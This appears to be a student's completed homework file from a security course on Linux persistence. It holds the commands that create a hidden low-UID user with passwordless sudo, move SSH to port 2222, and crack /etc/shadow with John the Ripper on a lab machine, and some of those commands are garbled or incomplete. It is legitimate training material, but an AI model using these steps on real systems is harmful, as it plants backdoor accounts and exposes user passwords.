**## Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

\*\*Step 1: Shadow People\*\*

**1.** Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

**-** `sudo adduser sysd --no-create-home`

**2.** Give your secret user a password:

**-** `sudo passwd sysd`

**3.** Give your secret user a system UID < 1000:

**-** `sudo usermod -u 900 sysd`

**4.** Give your secret user the same GID:

**-** `sudo groupmod -g 900 sysd`

**5.** Give your secret user full `sudo` access without the need for a password:

**-**  `usermod -aG sudo sysd

visudo

**# User privilege specification**

sysd ALL=(ALL:ALL) NOPASSWD`

**6.** Test that `sudo` access works without your password:

```bash

sudo apt-get update

```

\*\*Step 2: Smooth Sailing\*\*

**1.** Edit the `sshd\_config` file:

```bash

sudo nano /etc/ssh/sshd\_config

#default values

#port 22

port 2222

```

\*\*Step 3: Testing Your Configuration Update\*\*

**1.** Restart the SSH service:

**-** `sudo systemctl restart ssh`

**2.** Exit the `root` account:

**-** `exit`

**3.** SSH to the target machine using your `sysd` account and port `2222`:

**-** `ssh sysd@192.168.6.105 -p 2222`

**4.** Use `sudo` to switch to the root user:

**-** `sudo -s`

\*\*Step 4: Crack All the Passwords\*\*

**1.** SSH back to the system using your `sysd` account and port `2222`:

**-** `ssh sysd@192.168.6.105 -p 2222`

**2.** Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

**-** `unshadow /etc/shadow > mypasswd

john mypasswd

`